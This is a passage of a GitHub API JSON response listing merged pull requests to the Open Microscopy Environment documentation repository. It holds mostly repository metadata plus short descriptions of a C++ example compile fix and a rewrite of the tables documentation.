/api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"06d64f21d98da8a4eb8218a4c955edb88746c8e2","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/214/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/214"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/214"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/214"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/214/comments"}},"title":"Fixed forward declartion incomplete type error in c++ example code (rebased onto develop)","state":"closed","number":214,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/214","head":{"user":{"type":"User","url":"https://api.github.com/users/jburel","received_events_url":"https://api.github.com/users/jburel/received_events","login":"jburel","events_url":"https://api.github.com/users/jburel/events{/privacy}","organizations_url":"https://api.github.com/users/jburel/orgs","avatar_url":"https://secure.gravatar.com/avatar/e1f7a610652e5e71eda0b0b8381c3f98?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/jburel/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/jburel/gists{/gist_id}","gravatar_id":"e1f7a610652e5e71eda0b0b8381c3f98","followers_url":"https://api.github.com/users/jburel/followers","id":1022396,"repos_url":"https://api.github.com/users/jburel/repos","subscriptions_url":"https://api.github.com/users/jburel/subscriptions","following_url":"https://api.github.com/users/jburel/following"},"label":"jburel:rebased/develop/dev_4_4","repo":{"forks":0,"svn_url":"https://github.com/jburel/ome-documentation","merges_url":"https://api.github.com/repos/jburel/ome-documentation/merges","languages_url":"https://api.github.com/repos/jburel/ome-documentation/languages","assignees_url":"https://api.github.com/repos/jburel/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/jburel/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/jburel/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/jburel/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/jburel","received_events_url":"https://api.github.com/users/jburel/received_events","login":"jburel","events_url":"https://api.github.com/users/jburel/events{/privacy}","organizations_url":"https://api.github.com/users/jburel/orgs","avatar_url":"https://secure.gravatar.com/avatar/e1f7a610652e5e71eda0b0b8381c3f98?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/jburel/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/jburel/gists{/gist_id}","gravatar_id":"e1f7a610652e5e71eda0b0b8381c3f98","followers_url":"https://api.github.com/users/jburel/followers","id":1022396,"repos_url":"https://api.github.com/users/jburel/repos","subscriptions_url":"https://api.github.com/users/jburel/subscriptions","following_url":"https://api.github.com/users/jburel/following"},"open_issues":0,"updated_at":"2013-01-18T09:49:33Z","milestones_url":"https://api.github.com/repos/jburel/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/jburel/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/jburel/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/jburel/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/jburel/ome-documentation/events","notifications_url":"https://api.github.com/repos/jburel/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/jburel/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/jburel/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/jburel/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/jburel/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/jburel/ome-documentation/collaborators{/collaborator}","full_name":"jburel/ome-documentation","ssh_url":"git@github.com:jburel/ome-documentation.git","pulls_url":"https://api.github.com/repos/jburel/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/jburel/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/jburel/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/jburel/ome-documentation/subscription","teams_url":"https://api.github.com/repos/jburel/ome-documentation/teams","watchers":2,"created_at":"2012-01-17T14:12:05Z","git_url":"git://github.com/jburel/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/jburel/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/jburel/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/jburel/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/jburel/ome-documentation/keys{/key_id}","size":292,"compare_url":"https://api.github.com/repos/jburel/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/jburel/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/jburel/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/jburel/ome-documentation/hooks","fork":true,"html_url":"https://github.com/jburel/ome-documentation","clone_url":"https://github.com/jburel/ome-documentation.git","watchers_count":2,"git_refs_url":"https://api.github.com/repos/jburel/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":null,"contents_url":"https://api.github.com/repos/jburel/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/jburel/ome-documentation/issues/events{/number}","private":false,"id":3199804,"pushed_at":"2013-01-16T19:23:39Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/jburel/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/jburel/ome-documentation/forks"},"sha":"e4158a87a77b307142fad3eab48ddaecdd306216","ref":"rebased/develop/dev_4_4"},"assignee":null,"updated_at":"2013-01-18T09:49:33Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/214/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/214/commits","closed_at":"2013-01-17T08:44:43Z","user":{"type":"User","url":"https://api.github.com/users/jburel","received_events_url":"https://api.github.com/users/jburel/received_events","login":"jburel","events_url":"https://api.github.com/users/jburel/events{/privacy}","organizations_url":"https://api.github.com/users/jburel/orgs","avatar_url":"https://secure.gravatar.com/avatar/e1f7a610652e5e71eda0b0b8381c3f98?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/jburel/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/jburel/gists{/gist_id}","gravatar_id":"e1f7a610652e5e71eda0b0b8381c3f98","followers_url":"https://api.github.com/users/jburel/followers","id":1022396,"repos_url":"https://api.github.com/users/jburel/repos","subscriptions_url":"https://api.github.com/users/jburel/subscriptions","following_url":"https://api.github.com/users/jburel/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/214","merged_at":"2013-01-17T08:44:43Z","merge_commit_sha":"f2933c2d7c257bc54fe54c0d0921506faa7bae4b","created_at":"2013-01-16T19:24:22Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/214/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/214.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/214","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-206 but rebased onto develop.\n\n----\n\nCompiling the existing example code results in an incomplete type error as omero/client.h includes omero/ServicesF.h which forward declares IAdmin\r\n\r\nFix by including omero/api/IAdmin.h\r\n\r\n```\r\ng++ -c -o yourcode.o yourcode.cpp -I/home/dpwrussell/Ice/omero/OMERO.cpp-4.4.5-ice33-posix-gcc-4.6.3-64dbg/include -I/home/dpwrussell/Ice/home/Ice-3.3.1//include \r\nyourcode.cpp: In function ‘int main(int, char**)’:\r\nyourcode.cpp:30:18: error: invalid use of incomplete type ‘struct IceProxy::omero::api::IAdmin’\r\n/home/dpwrussell/Ice/omero/OMERO.cpp-4.4.5-ice33-posix-gcc-4.6.3-64dbg/include/omero/ServicesF.h:60:7: error: forward declaration of ‘struct IceProxy::omero::api::IAdmin’\r\nmake: *** [yourcode.o] Error 1\r\n```\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/214.diff","id":3706910,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"e38561d11128664793c359e81a32be0059a76088","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/213/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/213"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/213"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/213"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/213/comments"}},"title":"Tables documentation partial rewrite 9957 (rebased onto develop)","state":"closed","number":213,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/213","head":{"user":{"type":"User","url":"https://api.github.com/users/manics","received_events_url":"https://api.github.com/users/manics/received_events","login":"manics","events_url":"https://api.github.com/users/manics/events{/privacy}","organizations_url":"https://api.github.com/users/manics/orgs","avatar_url":"https://secure.gravatar.com/avatar/a840b00f848faf9c64699f092fc4c745?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/manics/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/manics/gists{/gist_id}","gravatar_id":"a840b00f848faf9c64699f092fc4c745","followers_url":"https://api.github.com/users/manics/followers","id":1644105,"repos_url":"https://api.github.com/users/manics/repos","subscriptions_url":"https://api.github.com/users/manics/subscriptions","following_url":"https://api.github.com/users/manics/following"},"label":"manics:rebased/develop/tables_arraycolumns_9957","repo":{"forks":0,"svn_url":"https://github.com/manics/ome-documentation","merges_url":"https://api.github.com/repos/manics/ome-documentation/merges","languages_url":"https://api.github.com/repos/manics/ome-documentation/languages","assignees_url":"https://api.github.com/repos/manics/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/manics/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/manics/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/manics/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/manics","received_events_url":"https://api.github.com/users/manics/received_events","login":"manics","events_url":"https://api.github.com/users/manics/events{/privacy}","organizations_url":"https://api.github.com/users/manics/orgs","avatar_url":"https://secure.gravatar.com/avatar/a840b00f848faf9c64699f092fc4c745?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/manics/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/manics/gists{/gist_id}","gravatar_id":"a840b00f848faf9c64699f092fc4c745","followers_url":"https://api.github.com/users/manics/followers","id":1644105,"repos_url":"https://api.github.com/users/manics/repos","subscriptions_url":"https://api.github.com/users/manics/subscriptions","following_url":"https://api.github.com/users/manics/following"},"open_issues":0,"updated_at":"2013-01-17T10:39:59Z","milestones_url":"https://api.github.com/repos/manics/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/manics/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/manics/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/manics/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/manics/ome-documentation/events","notifications_url":"https://api.github.com/repos/manics/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/manics/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/manics/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/manics/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/manics/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/manics/ome-documentation/collaborators{/collaborator}","full_name":"manics/ome-documentation","ssh_url":"git@github.com:manics/ome-documentation.git","pulls_url":"https://api.github.com/repos/manics/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/manics/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/manics/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/manics/ome-documentation/subscription","teams_url":"https://api.github.com/repos/manics/ome-documentation/teams","watchers":0,"created_at":"2012-10-08T11:43:13Z","git_url":"git://github.com/manics/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/manics/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/manics/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/manics/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/manics/ome-documentation/keys{/key_id}","size":2584,"compare_url":"https://api.github.com/repos/manics/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/manics/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/manics/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/manics/ome-documentation/hooks","fork":true,"html_url":"https://github.com/manics/ome-documentation","master_branch":"develop","clone_url":"https://github.com/manics/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/manics/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/manics/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/manics/ome-documentation/issues/events{/number}","private":false,"id":6123523,"default_branch":"develop","pushed_at":"2013-01-16T13:46:34Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/manics/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/manics/ome-documentation/forks"},"sha":"c7a42401100f79798ba70181cb7a58ab25f3b165","ref":"rebased/develop/tables_arraycolumns_9957"},"assignee":null,"updated_at":"2013-01-17T10:39:59Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/213/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/213/commits","closed_at":"2013-01-17T10:39:59Z","user":{"type":"User","url":"https://api.github.com/users/manics","received_events_url":"https://api.github.com/users/manics/received_events","login":"manics","events_url":"https://api.github.com/users/manics/events{/privacy}","organizations_url":"https://api.github.com/users/manics/orgs","avatar_url":"https://secure.gravatar.com/avatar/a840b00f848faf9c64699f092fc4c745?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/manics/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/manics/gists{/gist_id}","gravatar_id":"a840b00f848faf9c64699f092fc4c745","followers_url":"https://api.github.com/users/manics/followers","id":1644105,"repos_url":"https://api.github.com/users/manics/repos","subscriptions_url":"https://api.github.com/users/manics/subscriptions","following_url":"https://api.github.com/users/manics/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/213","merged_at":"2013-01-17T10:39:59Z","merge_commit_sha":"4e59b65363b053670f3c6a010216821b1933c9bc","created_at":"2013-01-16T13:46:36Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/213/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/213.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/213","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-193 but rebased onto develop.\n\n----\n\nThis was origingally a partial rewrite of the tables documentation including the new array columns from PR openmicroscopy/openmicroscopy#538. Since it may be held back from the next release I'll split the docs PR into two, this one covers doc changes relating to the existing tables functionality:\r\n* Moved the tables docs out of analysis and into a new page\r\n* Added more API detail, especially parameter types\r\n* This currently appears under `Analysis` in the TOC.\r\n\r\nIf I don't open this now I'll probably forget after Christmas.\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/213.diff","id":3700514,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"e38561d11128664793c359e81a32be0059a76088","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/212/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/212"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/212"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/212"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/212/comments"}},"title":"Fixing ticket 10174","state":"closed","number":212,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/212","head":{"user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"label":"hflynn:10174-fix","repo":{"forks":0,"svn_url":"https://github.com/hflynn/ome-documentation","merges_url":"https://api.github.com/repos/hflynn/ome-documentation/merges","languages_url":"https://api.github.com/repos/hflynn/ome-documentation/languages","assignees_url":"https://api.github.com/repos/hflynn/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/hflynn/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/hflynn/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/hflynn/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"open_issues":0,"updated_at":"2013-02-01T17:31:59Z","milestones_url":"https://api.github.com/repos/hflynn/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/hflynn/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/hflynn/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/hflynn/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/hflynn/ome-documentation/events","notifications_url":"https://api.github.com/repos/hflynn/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/hflynn/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/hflynn/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/hflynn/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/hflynn/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/hflynn/ome-documentation/collaborators{/collaborator}","f